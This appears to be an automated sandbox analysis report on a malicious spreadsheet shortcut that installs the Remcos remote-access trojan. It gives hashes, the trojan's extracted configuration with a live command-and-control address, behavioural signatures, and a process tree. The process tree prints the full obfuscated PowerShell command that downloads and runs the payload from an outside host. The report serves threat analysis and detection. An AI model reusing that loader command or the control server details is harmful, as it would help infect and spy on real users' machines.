Resubmissions
29-08-2024 11:25
240829-nh9xrs1bll 1029-08-2024 10:50
240829-mxlcaaxdmh 1029-08-2024 10:06
240829-l5ghmawbkg 1029-08-2024 09:04
240829-k13dvstaqb 1029-08-2024 08:36
240829-khyyqavaqn 10Analysis
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max time kernel
420s -
max time network
423s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-uk -
resource tags
arch:x64arch:x86image:win10v2004-20240802-uklocale:uk-uaos:windows10-2004-x64systemwindows -
submitted
29-08-2024 08:36
Static task
static1
Behavioral task
behavioral1
Sample
brt_1_0147.doc.lnk
Resource
win10v2004-20240802-uk
Behavioral task
behavioral2
Sample
oshad_88.docx.lnk
Resource
win10v2004-20240802-uk
Behavioral task
behavioral3
Sample
rv_luti_2024_roku.xlsx.lnk
Resource
win10v2004-20240802-uk
General
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Target
rv_luti_2024_roku.xlsx.lnk
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Size
32KB
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MD5
0ea3d54cecf6ea4d5e6739ffe9ce4be4
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SHA1
513dca9cb690972319181c4f31ac98dcd80ea895
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SHA256
ddd94d9d25f4ee02343b209e6d345457ef0b3efebccfd9a16b721e1c59a6cb03
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SHA512
33826667e53d5cdb60ccfeb84a309059e20ce5da79d7dde853578fcea99b44d2a92debe4d6da65f463223b48d1b9f510bb0c9c3b26e7fb0b2a5199eb6ead45d2
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SSDEEP
48:88muavUQSSesYOhI3YMEDo/i1xCoXEEDDo/L8A7NZdCZFXuGdZTa7x:88y8EesYeI3hX+xCRZR4uKQ
Malware Config
Extracted
remcos
feetfuck
83.222.191.201:24251
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-XTJ1YO
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 1332 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 4600 Newfts.exe 1580 Newfts.exe -
Loads dropped DLL 8 IoCs
pid Process 4600 Newfts.exe 4600 Newfts.exe 4600 Newfts.exe 4600 Newfts.exe 1580 Newfts.exe 1580 Newfts.exe 1580 Newfts.exe 1580 Newfts.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\explorer.exe explorer.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1580 set thread context of 1664 1580 Newfts.exe 96 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings explorer.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4504 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1332 powershell.exe 1332 powershell.exe 4600 Newfts.exe 1580 Newfts.exe 1580 Newfts.exe 1664 cmd.exe 1664 cmd.exe 1664 cmd.exe 1664 cmd.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 1580 Newfts.exe 1664 cmd.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1332 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE 4504 EXCEL.EXE -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 3628 wrote to memory of 1332 3628 cmd.exe 85 PID 3628 wrote to memory of 1332 3628 cmd.exe 85 PID 1332 wrote to memory of 4600 1332 powershell.exe 93 PID 1332 wrote to memory of 4600 1332 powershell.exe 93 PID 1332 wrote to memory of 4600 1332 powershell.exe 93 PID 1332 wrote to memory of 4504 1332 powershell.exe 94 PID 1332 wrote to memory of 4504 1332 powershell.exe 94 PID 1332 wrote to memory of 4504 1332 powershell.exe 94 PID 4600 wrote to memory of 1580 4600 Newfts.exe 95 PID 4600 wrote to memory of 1580 4600 Newfts.exe 95 PID 4600 wrote to memory of 1580 4600 Newfts.exe 95 PID 1580 wrote to memory of 1664 1580 Newfts.exe 96 PID 1580 wrote to memory of 1664 1580 Newfts.exe 96 PID 1580 wrote to memory of 1664 1580 Newfts.exe 96 PID 4504 wrote to memory of 3544 4504 EXCEL.EXE 101 PID 4504 wrote to memory of 3544 4504 EXCEL.EXE 101 PID 1580 wrote to memory of 1664 1580 Newfts.exe 96 PID 1664 wrote to memory of 2376 1664 cmd.exe 109 PID 1664 wrote to memory of 2376 1664 cmd.exe 109 PID 1664 wrote to memory of 2376 1664 cmd.exe 109 PID 1664 wrote to memory of 2376 1664 cmd.exe 109 PID 1664 wrote to memory of 2376 1664 cmd.exe 109 PID 2376 wrote to memory of 3144 2376 explorer.exe 119 PID 2376 wrote to memory of 3144 2376 explorer.exe 119 PID 2376 wrote to memory of 3144 2376 explorer.exe 119
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo TeuldrVGQbKMoxomeUoWOqhwvLOxvRa; echo kHymKfRwuZXnxCZJgAfmykUgOsaYlqvqidzuAVdr; echo BzhKUakeDaTwVhpLOdFPPdFVoZgkSjggfDEAGyfrfJLDRccpyaIWIA; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo kUBgvnjkEnVVtBTakWaQxmlPinKUrVTnqYKyBiuNzxKhEEivsinzTrJtp; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo KXIRBZFhgPOZEKacAcLhfiuehKFFEsRDolDsCVbHJSxXKtveGjGXJJi; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo QnvQaCnoZGPZHtQIYplmH; s''t''a''rt rv_luti_2024_roku.xlsx2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exeC:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe6⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lslblwgbzgfteosyquv.vbs"7⤵
- System Location Discovery: System Language Discovery
PID:3144
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx"3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122884⤵PID:3544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3356
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1.2MB
MD55542f91678457b8e611b4fde00e786d1
SHA1260f92ea96e261eec7fbfa50fbc3c048b7764c6f
SHA2562fc25975cff36ca758ca5134a68bd5c2564a856e3ca48ac991b3b580dc19352b
SHA5127de5778b6ad49d2b7c406d614d5a92add118b278d5302de2c22907ede30739ca81d0e5f757fea3693f8151efa3750cb0f64c1fc22f67ef49632c6f29b190eecb
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Filesize
324B
MD55969db124f530f24b0e1b305ca5a8291
SHA15eb79a70cc356a20ba39913489a5cdca36f83011
SHA2563a4ae3a89b9c1d79fbef06dd969b1307837c0378966c5f7ceddafb1e4660a072
SHA5120297ea245560c1b5fe64f5a3cd7769ea4e9f09dfc4cc4f16c8d96c5b5d846c8982458991aa143ea5a103436a03c5e7d5b7769b2b87bca5565e856de960e2e290
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Filesize
314B
MD56503609435ec0a5d17d2bb95fdea9a7f
SHA1d720137451b5a1c321a909fad59bf1509d5cf992
SHA25621ced3670e5a40d603f425bae6180154b29e92a63fd7b3a5fa063ff15320df26
SHA51241f63bd515e0e8c5e197574a2a890c54c65b1c9fa8fd6037c268cbd8bcb1e44a0f2c98fd37062ec37e72e1eb5d6f92c029acbe498f5b3c1131a54410728ebd0b
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5589267ada485aa1018a3a859e4d8d479
SHA1ceb8c0d0a9d5a19947fed120a12111c41a8b8916
SHA25624efd583a62322ba801a16df5ce2590a716f2c06b9803410211b11ca8f52c34c
SHA5121bfaba86a09755e946dbc93e0dfe6a4bc8cfb4f2ec7be8564738acc2cd3849980546fd119ac4900375295ce2a3667c55d0eb70b851ab47772561efc144d84e76
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD50becc80feb86b3ca0d140f0f614ebe72
SHA1b79708c85d56f84da5b98d4fb583618e4edad6df
SHA2564317c7355c1520021b1508cd0040f72c466405df9199fdb73ea9f949dfb2e005
SHA512269a4c1c80a735cfc1b060417d4b8c5467cb7b8e22a86d127b64310d8bb51faa110573c1a124d3645efa6fa4ff9494ee13b9784b2ef8f3f0ac581db2daa4a65a
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Filesize
2.1MB
MD5db7e67835fce6cf9889f0f68ca9c29a9
SHA15565afda37006a66f0e4546105be60bbe7970616
SHA256dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738
SHA512bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b
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Filesize
1.1MB
MD559c15c71fd599ff745a862d0b8932919
SHA18384f88b4cac4694cf510ca0d3f867fd83cc9e18
SHA256c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2
SHA512be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e
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Filesize
1.4MB
MD56fdb2e9ca6b7a5ad510e2b29831e3bc8
SHA14a14ee9d5660eb271a6b5f18a55ac3e05f952c68
SHA256f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38
SHA512d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06
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Filesize
31KB
MD55dc69a3e2fda6cb740f363ef77edcc13
SHA1c177fabf17346531e07d562be11915bf2822148a
SHA2567c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621
SHA512b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f
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Filesize
1.0MB
MD5471076308d78944d45ab35d37134134a
SHA105cf2cf6e5d11ce10425b14d68cda3246cc47263
SHA25638d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b
SHA5127f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3
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Filesize
32KB
MD521046015d5d9ef5e536ac7643b1ab365
SHA1f3bcd22d8e9b5ad1c2e17b42d5684421b2ddfb05
SHA2567a94cedcc9624dbe8eb4ad818fbaf2a53f9ca0fe2ff28b3000a597e034b520bd
SHA512d63030de97a378e9bb73ce53f589c75f1da9e6fb3998da02680a9396b75ebf6773119d61e5663c007379c85413a8d023e1df2323038314d357ac64bd770b9c9e